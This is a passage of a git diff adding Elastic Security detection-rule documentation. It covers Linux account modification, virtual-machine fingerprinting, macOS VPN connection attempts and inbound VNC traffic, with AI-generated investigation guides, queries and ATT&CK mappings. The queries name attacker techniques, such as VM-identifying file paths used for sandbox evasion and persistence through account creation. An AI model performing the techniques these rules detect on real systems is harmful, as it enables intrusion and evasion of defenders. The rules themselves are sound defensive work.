actions with known threat behaviors. + + +*Possible investigation steps* + + +- Review the audit logs to identify the specific user or group account that was created or modified, focusing on the event.action field values such as "changed-password", "added-user-account", or "added-group-account-to". +- Check the timestamp of the event to determine when the account change occurred and correlate it with any other suspicious activities or alerts around the same time. +- Investigate the source of the event by examining the host information, particularly the host.os.type field, to understand which system the changes were made on. +- Identify the user or process that initiated the account change by reviewing the associated user information in the audit logs, which may provide insights into whether the action was authorized or potentially malicious. +- Cross-reference the identified user or group changes with known threat actor behaviors or recent incidents to assess if the activity aligns with any known persistence tactics. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when system administrators create or modify user or group accounts as part of regular maintenance. To manage this, consider creating exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or configuration management tools that manage user accounts can generate false positives. Identify these tools and exclude their actions from triggering alerts by whitelisting their processes or user accounts. +- System updates or software installations that require user or group modifications might be flagged. Review the context of these changes and exclude specific update processes or installation scripts from the rule. +- Temporary user accounts created for short-term projects or testing purposes can be mistaken for unauthorized access attempts. Implement a naming convention for temporary accounts and exclude them from the rule to reduce noise. +- Changes made by trusted third-party services or applications that integrate with the system may appear suspicious. Verify these services and add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review the audit logs to identify the specific user or group accounts that were created or modified, and disable or remove any unauthorized accounts. +- Reset passwords for any compromised or suspicious accounts to prevent further unauthorized access. +- Conduct a thorough review of system and application logs to identify any additional unauthorized changes or suspicious activities that may have occurred. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement additional monitoring on the affected system and similar systems to detect any further unauthorized account activities. +- Review and update access control policies and procedures to prevent similar incidents in the future, ensuring that only authorized personnel have the ability to create or modify user and group accounts. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-w /usr/sbin/groupadd -p x -k group_modification +-w /sbin/groupadd -p x -k group_modification +-w /usr/sbin/groupmod -p x -k group_modification +-w /sbin/groupmod -p x -k group_modification +-w /usr/sbin/addgroup -p x -k group_modification +-w /sbin/addgroup -p x -k group_modification +-w /usr/sbin/usermod -p x -k user_modification +-w /sbin/usermod -p x -k user_modification +-w /usr/sbin/userdel -p x -k user_modification +-w /sbin/userdel -p x -k user_modification +-w /usr/sbin/useradd -p x -k user_modification +-w /sbin/useradd -p x -k user_modification +-w /usr/sbin/adduser -p x -k user_modification +-w /sbin/adduser -p x -k user_modification +``` + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type in ("creation", "change") and auditd.result == "success" and +event.action in ("changed-password", "added-user-account", "added-group-account-to") and process.name != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-machine-fingerprinting-via-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-machine-fingerprinting-via-grep.asciidoc new file mode 100644 index 0000000000..0ca36691c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-machine-fingerprinting-via-grep.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-virtual-machine-fingerprinting-via-grep]] +=== Virtual Machine Fingerprinting via Grep + +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x4F.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Machine Fingerprinting via Grep* + + +Virtual machine fingerprinting involves identifying virtualized environments by querying system details. Adversaries exploit tools like `grep` to extract information about virtual machine hardware, aiding in evasion or targeting. The detection rule identifies non-root users executing `grep` with arguments linked to virtual machine identifiers, flagging potential reconnaissance activities while excluding benign processes. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the non-root user who initiated the `grep` or `egrep` command and assess their typical behavior and access rights. +- Examine the command-line arguments used with `grep` to identify specific virtual machine identifiers such as "parallels", "vmware", or "virtualbox" and determine if these align with known reconnaissance patterns. +- Investigate the parent process of the `grep` command to understand the context in which it was executed, ensuring it is not a benign process like Docker or kcare. +- Check for any additional suspicious activities or commands executed by the same user around the same time to identify potential lateral movement or further reconnaissance. +- Correlate this event with other security alerts or logs to determine if it is part of a broader attack pattern or campaign, particularly looking for connections to known malware like Pupy RAT. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that query virtual machine identifiers for system management or inventory purposes may trigger the rule. To handle this, identify and whitelist these specific scripts or applications by excluding their parent executable paths. +- Developers or IT personnel using grep to troubleshoot or gather system information on virtual machines might be flagged. Create exceptions for known user accounts or specific directories where these activities are expected. +- Automated monitoring tools that check virtual machine environments for compliance or performance metrics could cause false positives. Exclude these tools by adding their process names or parent executables to the exception list. +- Some virtualization management software might use grep internally to gather system information. Identify these applications and exclude their processes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further reconnaissance or data exfiltration by the adversary. +- Terminate any suspicious processes identified by the alert, specifically those involving `grep` or `egrep` with arguments related to virtual machine identifiers. +- Conduct a thorough review of the affected system's user accounts and permissions, focusing on non-root users, to identify any unauthorized access or privilege escalation. +- Analyze system logs and network traffic for any signs of lateral movement or additional compromise, paying close attention to connections initiated by the affected system. +- Restore the system from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup is free from compromise. +- Implement stricter access controls and monitoring for systems running virtual machines, including enhanced logging and alerting for similar reconnaissance activities. +- Escalate the incident to the security operations team for further investigation and to determine if the activity is part of a larger attack campaign. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.name in ("grep", "egrep") and user.id != "0" and + process.args : ("parallels*", "vmware*", "virtualbox*") and process.args : "Manufacturer*" and + not process.parent.executable in ("/Applications/Docker.app/Contents/MacOS/Docker", "/usr/libexec/kcare/virt-what") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-machine-fingerprinting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-machine-fingerprinting.asciidoc new file mode 100644 index 0000000000..9405710c59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-machine-fingerprinting.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-20-virtual-machine-fingerprinting]] +=== Virtual Machine Fingerprinting + +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Machine Fingerprinting* + + +Virtual Machine Fingerprinting involves identifying characteristics of a virtual environment, often to tailor attacks or evade detection. Adversaries exploit this by querying system files for hardware details, a tactic seen in malware like Pupy RAT. The detection rule flags non-root users accessing specific Linux paths indicative of VM queries, signaling potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the non-root user involved in accessing the specified paths, focusing on the user.name field. +- Examine the process.args field to determine which specific file paths were accessed, as this can indicate the type of virtual machine information being targeted. +- Investigate the parent process and command line arguments to understand the context of the process initiation and whether it aligns with legitimate user activity. +- Check for any related alerts or logs around the same timeframe to identify potential patterns or repeated attempts at virtual machine fingerprinting. +- Assess the system for any signs of compromise or unauthorized access, particularly focusing on the presence of known malware like Pupy RAT or similar threats. +- Correlate the findings with MITRE ATT&CK framework references (TA0007, T1082) to understand the broader tactics and techniques potentially in use by the adversary. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that query system files for hardware information may trigger the rule. Review the context of the process and user activity to determine if it aligns with expected behavior. +- System administrators or developers using automated tools for inventory or monitoring purposes might access these paths. Consider creating exceptions for known tools or scripts that are verified as safe. +- Security or compliance audits conducted by non-root users could inadvertently match the rule's criteria. Document and whitelist these activities if they are part of regular operations. +- Development environments where virtual machine detection is part of testing processes may cause false positives. Identify and exclude these environments from the rule's scope if they are consistently flagged. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further reconnaissance or potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to access the specified system files, especially those not initiated by the root user. +- Conduct a thorough review of recent user activity and process logs to identify any unauthorized access or anomalies that may indicate further compromise. +- Reset credentials for any non-root users involved in the alert to prevent unauthorized access, and review user permissions to ensure least privilege principles are enforced. +- Deploy endpoint detection and response (EDR) tools to monitor for similar suspicious activities and enhance visibility into system processes and user actions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for the specific file paths and processes identified in the query to detect and respond to future attempts at virtual machine fingerprinting. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started") and +process.args in ( + "/sys/class/dmi/id/bios_version", "/sys/class/dmi/id/product_name", "/sys/class/dmi/id/chassis_vendor", + "/proc/scsi/scsi", "/proc/ide/hd0/model" +) and not ( + user.name == "root" or + ?process.parent.name in ("LinkManager.exe", "saposcol", "svc_snow_discovery") or + ?process.working_directory == "/home/qualys" or + ?process.parent.executable in ( + "/usr/sara/sbin/sys2prometheus", "/usr/sara/sbin/sys2ganglia", "/usr/libexec/valgrind/memcheck-amd64-linux", + "/var/lib/cfengine3/modules/init_node", "/opt/emby-server/system/EmbyServer" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-private-network-connection-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-private-network-connection-attempt.asciidoc new file mode 100644 index 0000000000..8341d580df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-virtual-private-network-connection-attempt.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-virtual-private-network-connection-attempt]] +=== Virtual Private Network Connection Attempt + +Identifies the execution of macOS built-in commands to connect to an existing Virtual Private Network (VPN). Adversaries may use VPN connections to laterally move and control remote systems on a network. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/manage/vpn.rb +* https://www.unix.com/man-page/osx/8/networksetup/ +* https://superuser.com/questions/358513/start-configured-vpn-from-command-line-osx + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Private Network Connection Attempt* + + +Virtual Private Networks (VPNs) are used to securely connect to remote networks, encrypting data and masking IP addresses. Adversaries may exploit VPNs to move laterally within a network, gaining unauthorized access to systems. The detection rule identifies suspicious VPN connection attempts on macOS by monitoring specific command executions, helping to flag potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the legitimacy of the VPN connection attempt by examining the process name and arguments, such as "networksetup" with "-connectpppoeservice", "scutil" with "--nc start", or "osascript" with "osascript*set VPN to service*". +- Check the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Investigate the source IP address and destination network to assess if the connection is to a known and trusted network or if it is unusual for the environment. +- Analyze historical data for similar VPN connection attempts from the same user or device to identify patterns or repeated unauthorized access attempts. +- Correlate the VPN connection attempt with other security events or alerts to identify potential lateral movement or further malicious activity within the network. + + +*False positive analysis* + + +- Legitimate VPN usage by IT staff or network administrators may trigger the rule. To manage this, create exceptions for known user accounts or specific times when VPN maintenance is scheduled. +- Automated scripts or applications that use macOS built-in commands for VPN connections can cause false positives. Identify these scripts and whitelist their process names or command lines. +- Frequent VPN connections from trusted devices or IP addresses might be flagged. Exclude these devices or IPs from the rule to reduce noise. +- Users who frequently travel and connect to corporate networks via VPN may trigger alerts. Consider excluding these users or implementing a separate monitoring strategy for their activities. +- Regularly review and update the exclusion list to ensure it reflects current network policies and user behaviors, minimizing unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further lateral movement by the adversary. +- Terminate any suspicious VPN connections identified by the detection rule to cut off unauthorized access. +- Conduct a thorough review of the affected system's VPN configuration and logs to identify any unauthorized changes or connections. +- Reset credentials and update authentication methods for VPN access to ensure that compromised credentials are not reused. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if other systems have been affected. +- Implement additional monitoring on the network for unusual VPN connection attempts or related suspicious activities to enhance detection capabilities. +- Review and update VPN access policies to ensure they align with current security best practices and limit access to only necessary users and systems. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + ( + (process.name == "networksetup" and process.args like~ "-connectpppoeservice") or + (process.name == "scutil" and process.args like~ "--nc" and process.args like~ "start") or + (process.name == "osascript" and process.command_line : "osascript*set VPN to service*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-vnc-virtual-network-computing-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-vnc-virtual-network-computing-from-the-internet.asciidoc new file mode 100644 index 0000000000..8f20628006 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-vnc-virtual-network-computing-from-the-internet.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-vnc-virtual-network-computing-from-the-internet]] +=== VNC (Virtual Network Computing) from the Internet + +This rule detects network events that may indicate the use of VNC traffic from the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating VNC (Virtual Network Computing) from the Internet* + + +VNC allows remote control of systems, facilitating maintenance and resource sharing. However, when exposed to the Internet, it becomes a target for attackers seeking unauthorized access. Adversaries exploit VNC for initial access or as a backdoor. The detection rule identifies suspicious VNC traffic by monitoring specific TCP ports and filtering out trusted IP ranges, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address of the alert to determine if it is from an untrusted or suspicious location, as the rule filters out known trusted IP ranges. +- Check the destination IP address to confirm it belongs to an internal network (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16) and verify if the system is authorized to receive VNC traffic. +- Analyze the network traffic logs for the specified TCP ports (5800-5810) to identify any unusual patterns or repeated access attempts that could indicate malicious activity. +- Investigate the context of the event by correlating it with other security alerts or logs to determine if there are signs of a broader attack or compromise. +- Assess the risk and impact of the potential threat by evaluating the criticality of the affected system and any sensitive data it may contain. + + +*False positive analysis* + + +- Internal testing or maintenance activities may trigger the rule if VNC is used for legitimate purposes within a controlled environment. To manage this, create exceptions for known internal IP addresses that frequently use VNC for authorized tasks. +- Automated systems or scripts that utilize VNC for routine operations might be flagged. Identify these systems and exclude their IP addresses from the rule to prevent unnecessary alerts. +- Remote workers using VPNs that route traffic through public IPs could be mistakenly identified as threats. Ensure that VPN IP ranges are included in the trusted IP list to avoid false positives. +- Misconfigured network devices that inadvertently expose VNC ports to the Internet can cause alerts. Regularly audit network configurations to ensure VNC ports are not exposed and adjust the rule to exclude known safe configurations. +- Third-party service providers accessing systems via VNC for support purposes might be flagged. Establish a list of trusted IPs for these providers and update the rule to exclude them from detection. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active VNC sessions originating from untrusted IP addresses to cut off potential attacker access. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized changes or data access that may have occurred during the VNC session. +- Reset credentials for any accounts that were accessed or could have been compromised during the unauthorized VNC session. +- Apply security patches and updates to the VNC software and any other potentially vulnerable applications on the affected system. +- Implement network segmentation to ensure that VNC services are only accessible from trusted internal networks and not exposed to the Internet. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-vnc-virtual-network-computing-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-vnc-virtual-network-computing-to-the-internet.asciidoc new file mode 100644 index 0000000000..e9012db9c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-vnc-virtual-network-computing-to-the-internet.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-vnc-virtual-network-computing-to-the-internet]] +=== VNC (Virtual Network Computing) to the Internet + +This rule detects network events that may indicate the use of VNC traffic to 